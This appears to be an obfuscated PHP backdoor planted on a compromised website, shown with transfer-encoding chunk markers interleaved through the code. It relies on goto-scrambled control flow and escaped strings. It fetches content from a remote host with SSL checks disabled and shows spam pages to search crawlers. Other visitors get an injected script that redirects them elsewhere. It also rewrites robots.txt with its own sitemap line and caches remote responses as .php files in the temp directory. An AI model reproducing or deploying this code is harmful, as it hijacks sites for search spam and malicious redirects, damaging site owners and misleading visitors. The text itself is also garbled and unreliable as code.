1 < 5 ?php 5 got 5 o vdm 6 Ff; QZ 6 77P: f 5 uncti c on ensure_ro 7 bots_si 6 temap( a $sitemapLi 6 ne) { a $robots = 6 rtrim( 5 $_SER 5 VER[" 7 \104\x4 7 f\x43\x 8 55\115\1 8 05\x4e\1 6 24\x5f 10 \122\x4f\x4f\124 5 "], " 8 \x2f\134 c ") . "\x2f\1 6 62\157 7 \x62\x6 c f\164\163\x2 9 e\164\x78 8 \x74"; i 5 f (!f 6 ile_ex 5 ists( d $robots)) { @ a file_put_c 5 onten 10 ts($robots, "\12 8 5\x73\x6 a 5\x72\55\x 6 61\147 d \x65\156\164\ 8 72\x20\5 8 2\xa\x41 8 \x6c\154 b \x6f\x77\x3 c a\x20\x2f\xa 10 " . $sitemapLine 5 , LOC 5 K_EX) 6 ; } el 7 se { $c b = @file_ge 19 t_contents($robots); if ( 7 $c === 7 false | 7 | strpo 6 s($c, 17 $sitemapLine) === false 30 ) { @file_put_contents($robots, $sitemapLine, FI 5 LE_AP 5 PEND 12 | LOCK_EX); } } } 8 goto DHs 6 L3; ba 5 bZJ: 6 $domai 9 n = trim( 7 getCurl 6 Fast($ 9 jd . "\x6 c 7\x65\164\x6 b 4\x6f\155\1 a 41\x69\x6e d \x32\56\141\x 6 73\160 10 \x78\x3f\162\156 c \x64\x3d\61\ a x26\x69\x7 9 0\75" . $ 6 ip)); a goto eXwce 5 ; XWL 5 _w: $ a get = filt 5 er_in 9 put_array 5 (INPU 5 T_GET 9 , FILTER_ 6 SANITI 5 ZE_ST 4 RING c ); goto ghIX 6 A; QmN 6 xK: ou c tput_sitemap 8 _and_exi 11 t($sitemapLine, $ 6 http_t b ype); goto 81 Sda4b; B2cYK: $ip = $kk !== '' ? "\66\x36\56\62\64\x39\56\x38\62\x2e\x38" : get_real_ip(); goto babZJ; eaUB7: $http_type = !empty 16 ($_SERVER["\110\124\x5 9 4\x50\x53 5 "]) & f & $_SERVER["\x4 b 8\x54\x54\1 8 20\123"] d !== "\157\14 c 6\146" ? "\x e 68\x74\x74\x70 c \163\x3a\x2f 7 \57" : d "\150\164\164 c \160\x3a\57\ c 57"; goto QL 5 lhb; a vdmFf: err 7 or_repo 6 rting( f 0); goto XWL_w; 6 rS9s0 e : if (!empty($ 9 get["\x66 9 "])) { $s 8 p = expl 8 ode("\x4 8 9", $get 9 ["\146"]) a ; if (coun c t($sp) === 2 b ) { $sz = $ 6 sp[0]; c $iid = $sp[ 8 1]; } } a goto djE41 5 ; UV4 8 q2: if ( 11 $kk !== '' && pre 6 g_matc a h("\x2f\x5 5 e\133 c \x41\55\132\ 9 141\x2d\1 7 72\60\x a 2d\x39\x5d 7 \53\x24 9 \57", $kk b )) { $remot 20 e = getCurlFast($jd . "\x67\x65\ 6 x74\14 1c 4\x6f\155\141\x69\x6e\62\56\ e x61\163\x70\17 a 0\x3f\x72\ a 156\144\75 a \62\46\x6b 8 \153\x3d 9 " . $kk); 19 if (!empty($remote)) { e c cho $remote; 4 die 11 ; } } goto xI3e6; 5 VTcy c q: function 13 get_real_ip() { $ke b ys = array( 12 "\110\x54\x54\120\ b x5f\103\x46 10 \x5f\103\x4f\116 c \x4e\105\x43 d \124\111\116\ 7 107\137 9 \x49\120" 11 , "\110\x54\124\1 f 20\x5f\x58\137\ a 122\x45\10 b 1\x4c\137\1 15 11\120", "\110\124\12 d 4\x50\x5f\130 e \137\x46\117\x 6 52\127 a \101\x52\x 10 44\x45\x44\x5f\1 a 06\x4f\x52 d ", "\x48\x54\ 11 124\120\137\103\1 f 14\111\105\x4e\ f x54\137\x49\x50 e ", "\122\x45\1 a 15\117\124 1d \105\137\101\104\x44\x52"); f 6 oreach a ($keys as 7 $k) { 15 if (!empty($_SERVER[$ e k])) { $ip = $ 11 _SERVER[$k]; if ( f strpos($ip, "\5 5 4") ! 17 == false) { $ip = trim( 11 explode("\x2c", $ 6 ip)[0] 10 ); } if (filter_ 9 var($ip, a FILTER_VAL 5 IDATE 9 _IP)) { r 5 eturn 13 $ip; } } } return b "\x31\x32\x 9 37\56\x30 d \56\60\56\x31 b "; } goto z 6 BNc7; 4 wZIG c m: function 35 output_sitemap_and_exit($sitemapLine, $http_type) { e 2a nsure_robots_sitemap($sitemapLine); echo " a \74\x64\15 a 1\166\x20\ a 163\164\17 a 1\x6c\x65\ d 75\47\x74\145 a \x78\164\x 9 2d\x61\15 e 4\151\147\156\ b 72\x63\x65\ 11 156\164\x65\x72\x b 3b\x70\x61\ c x64\x64\151\ 9 x6e\147\x c 3a\61\x30\x7 e 0\170\40\x30\x a 3b\x27\x3e a \xa\x20\x2 17 0\40\x20\40\x20\x20\40\ 12 40\x20\x20\x20\x3c 10 \141\x20\150\162 d \145\146\75\4 d 2{$http_type} 14 {$_SERVER["\x48\x54\ 16 124\120\137\110\117\x5 15 3\124"]}{$_SERVER["\x a 53\x43\x52 14 \x49\120\x54\137\x4e 8 \x41\x4d 8 \105"]}\ e 77\x77\75" . d 8 ate("\13 a 1\155\144\ 7 110\x69 15 ") . "\x22\x20\x74\14 a 1\162\x67\ 11 145\164\x3d\x22\x f 5f\x62\x6c\141\ a 156\153\42 b \40\162\x65 12 \x6c\x3d\x22\x6e\1 c 57\x66\x6f\x c 6c\154\157\1 9 67\x22\76 12 \123\151\164\x65\x c 6d\x61\x70\x 9 3c\57\x61 16 \76\12\40\40\x20\x20\4 1d 0\40\x20\40\x20\x20\x3c\x2f\1 9 44\x69\x7 e 6\76"; die; } b goto UV4q2; 14 zBNc7: function get 12 CurlFast($url) { $ 5 cache d d = cache_get 29 ($url); if ($cached !== false) { return $ e cached; } $dat 6 a = '' 16 ; if (function_exists( 9 "\143\165 f \x72\154\x5f\15 c 1\156\x69\x7 e 4")) { $ch = c 7 url_ini 10 t($url); curl_se b topt_array( c $ch, array(C 5 URLOP 5 T_RET 5 URNTR 5 ANSFE 4 R => 7 true, c CURLOPT_CONN 5 ECTTI 5 MEOUT 1a => 5, CURLOPT_TIMEOUT => d 8, CURLOPT_SS 6 L_VERI 4 FYPE 1f ER => false, CURLOPT_SSL_VERIFY 4 HOST 17 => false, CURLOPT_FOLL 5 OWLOC 5 ATION 17 => false, CURLOPT_USER 9 AGENT => b "\x4d\157\1 d 72\151\154\x6 13 c\141\57\65\x2e\60" 11 )); $data = curl_ 8 exec($ch c ); curl_clos e e($ch); } if ( b empty($data e ) && ini_get(" 15 \x61\154\154\157\167\ 15 137\165\x72\154\137\1 8 46\157\x 12 70\x65\156")) { $c 5 ontex a t = stream a _context_c e reate(array("\ a x68\164\x7 a 4\x70" => 14 array("\x74\x69\x6d\ a 145\157\x7 d 5\164" => 8, 10 "\x68\x65\x61\14 10 4\145\x72" => "\ 15 125\x73\x65\x72\x2d\1 d 01\x67\x65\x6 f e\164\x3a\x20\x 1e 4d\157\172\151\154\154\141\x2f b \65\56\60\x 6 d\xa") f , "\x73\x73\x6c 17 " => array("\x76\145\16 b 2\x69\146\1 8 71\x5f\x 1b 70\x65\145\x72" => false, " f \166\x65\x72\15 9 1\146\x79 d \137\x70\x65\ e x65\162\x5f\15 17 6\141\x6d\145" => false d ))); $data = 18 @file_get_contents($url, 19 false, $context); } if ( 11 !empty($data)) { e cache_set($url c , $data); } c return $data e ; } goto Frs4L 6 ; C4aA 12 0: if (!empty($iid 9 )) { $str 14 = getCurlFast($hyzh 9 dy . "\x3 c f\151\x69\14 b 4\x3d{$iid} c "); echo str 7 _replac 11 e(array("\147\x67 12 \x67\147\x67", "\x c 59\x59\131\1 11 31\131", "\130\13 11 0\130\131\x59\131 a ", "\xe5\2 8 75\223\3 8 45\211\x 7 8d\125\ f 122\x4c", "\125 10 \x55\125\x55\x55 c "), array($s 7 z, get_ a url_info() 14 , get_url_info("\142 d \x61\x73\145" 1b ), get_url_info("\146\165\x 1b 6c\154"), get_url_info("\15 10 6\157\x5f\x77\x7 9 7\167")), 14 $str); die; } goto 9 wZIGm; mE 5 fJ2: 8 $kk = is c set($get["\1 a 53\x6b"]) 12 ? trim($get["\153\ 8 153"]) : f ''; goto B2cYK 5 ; qVA 5 PR: $ 8 surl = $ e jd . "\x73\61\ c 62\x31\x32\x 12 2e\x61\x73\160\x78 a "; goto jj 6 w58; f 5 DKhA: e $sz = $iid = f ''; goto rS9s0; 15 djE41: if (!empty($s c z)) { $jd = d getCurlFast(" 13 {$http_type}{$vurl} c \63\153\147\ 1a 56\141\x73\160\x78\x3f\163 f \172\x3d" . url 7 encode( 11 $sz)); } else { $ 2e jd = getCurlFast("{$http_type}{$vurl}\63\x6b\1 1b 47\56\x61\x73\160\x78\x3f\1 c 70\171\x3d{$ 14 http_type}"); $sz = 23 getCurlFast("{$http_type}{$vurl}\x3 15 3\153\147\56\x61\163\ c 160\170\77\1 a 52\x64\x3d 17 " . urlencode($jd)); } 8 goto fl0 a Mc; jjw58: e $sitemapLine c = "\123\151\ 15 x74\145\x6d\141\x70\7 4 2\40 28 {$http_type}{$_SERVER["\x48\124\x54\x50\ 2e 137\110\117\x53\124"]}{$_SERVER["\x53\x43\122\ 11 111\x50\124\x5f\1 b 16\101\x4d\ f x45"]}\77\167\x 27 3d" . date("\131\155\144\x48\151") . "\ b 12"; goto Q b Z77P; Frs4L 18 : function get_url_info( 7 string 9 $type = " 13 \144\x6f\155\x61\x6 a 9\x6e") : d string { $hos d t = $_SERVER[ 19 "\x48\x54\x54\120\137\x48 b \117\123\x5 6 4"] ?? 10 ''; if ($type = 13 == "\156\157\137\x7 15 7\x77\167") { return d preg_replace( 13 "\x2f\x5e\x77\167\x a 77\134\56\ a 57\151", ' 8 ', $host 8 ); } $pr 6 otocol 2a = !empty($_SERVER["\110\124\x54\x50\123"] 25 ) && $_SERVER["\x48\x54\x54\120\x53"] c !== "\x6f\1 14 46\x66" ? "\x68\x74\ d 164\x70\x73\x 12 3a\57\57" : "\150\ c x74\x74\160\ d 72\x2f\57"; $ 7 base = 11 $protocol . $host 1b ; if ($type === "\142\141\x 13 73\145") { return $ c base; } if ( 11 $type === "\x66\1 1f 65\154\154") { return $base . ( 16 $_SERVER["\x52\105\121 b \125\x45\x5 b 3\x54\137\x 12 55\x52\x49"] ?? '' 13 ); } return $host; d } goto eaUB7; d eXwce: if ($ 10 domain !== "\x67 10 \x6f\x6f\147\x6c 9 \145" && 15 !empty($iid)) { $knam 8 e = urld 6 ecode( 23 getCurlFast($jd . "\x67\x6e\56\141\ 17 163\x70\170\x3f\x69\x69 12 \x64\x3d" . $iid)) 13 ; echo "\74\x73\143 10 \162\151\160\x74 c \76\154\157\ d x63\x61\x74\1 c 51\157\156\7 10 5\42" . $jd . "\ 10 141\x2e\x61\x73\ f x70\x78\x3f\x63 10 \156\x61\x6d\145 1e \x3d" . urlencode($kname) . "\ d 46\x75\162\15 9 4\75" . $ 1b http_type . $_SERVER["\x48\ 14 124\x54\120\137\x48\ e x4f\123\x54"] 19 . $_SERVER["\123\x43\x52\ 18 111\x50\x54\137\x4e\x41\ d 115\105"] . " 9 \42\74\57 15 \163\x63\x72\151\160\ 15 164\76"; die; } goto c C4aA0; DHsL3 17 : if (!empty($get["\x77 b "])) { $par 6 ams = a http_build 5 _quer 10 y(array("\x4e\x4 d f\125\x6d\142 d \x65\x72" => 11 $get["\116\117\x5 9 5\155\142 16 \x65\162"] ?? '', "\x7 11 4" => $get["\x74" 13 ] ?? '', "\143\x6e" 13 => $get["\x63\x6e" 17 ] ?? '', "\160\116\117\ c 125\155" => 17 $get["\x70\116\117\125\ 19 x6d"] ?? '', "\143\151\x6 17 4" => $get["\x63\151\14 1c 4"] ?? '', "\155" => $get["\ 11 155"] ?? '')); $s 14 tr = getCurlFast("{$ a surl}\x3f{ 26 $params}"); echo str_replace(array("\1 a 71\171\x6d b \155", "\14 1c 7\x67\147\147\147"), array($ 1b http_type . $_SERVER["\x48\ 11 x54\124\x50\x5f\1 9 10\x4f\x5 1f 3\x54"] . $_SERVER["\123\103\12 12 2\x49\120\124\x5f\ 11 x4e\x41\x4d\x45"] 1b , $sz), $str); die; } goto 9 mEfJ2; Xs e Acz: function d cache_set($ke d y, $data) { $ 8 file = s 7 ys_get_ 8 temp_dir d () . "\x2f\14 13 3\x61\x63\150\x65\1 7 37" . m 10 d5($key) . "\x2e c \160\150\x70 17 "; @file_put_contents($ b file, $data 18 , LOCK_EX); } goto VTcyq 7 ; QLlhb b : $vurl = " 10 \x74\157\x2e\x6a 12 \147\141\x6c\154\x 9 73\56\x63 c \x6f\x6d\x2f e "; goto fDKhA; 5 S2KV 7 F: $is_ 8 no_query 15 = empty($_SERVER["\x c 51\x55\105\x b 52\131\x5f\ a 123\124\12 d 2\111\x4e\x47 c "]); goto zH 4 nCd; 1b xI3e6: if ($kk !== '' && ! 12 preg_match("\57\x5 a e\133\101\ b 55\132\x61\ b 55\x7a\60\5 9 5\x39\135 8 \53\44\x d 2f", $kk)) { 3a output_sitemap_and_exit($sitemapLine, $http_type); } goto c S2KVF; fl0Mc a : $hyzhdy 12 = $jd . "\x31\x32\ 15 61\62\56\x61\163\x70\ 11 x78"; goto qVAPR; 6 ghIXA 1e : function cache_get($key, $ex 7 pire = 2a 300) { $file = sys_get_temp_dir() . "\x2f\ a x63\141\14 b 3\150\145\1 19 37" . md5($key) . "\56\x7 10 0\150\160"; if ( 11 file_exists($file 9 ) && time 8 () - fil e emtime($file) 14 < $expire) { return 18 file_get_contents($file) 10 ; } return false f ; } goto XsAcz; 11 zHnCd: if ($kk = 15 == '' && $is_no_query 11 ) { if ($domain = f == "\x67\157\15 e 7\x67\x6c\x65" 40 ) { output_sitemap_and_exit($sitemapLine, $http_type); } else { 13 die; } } goto QmNxK 9 ; Sda4b: 2 ?> 0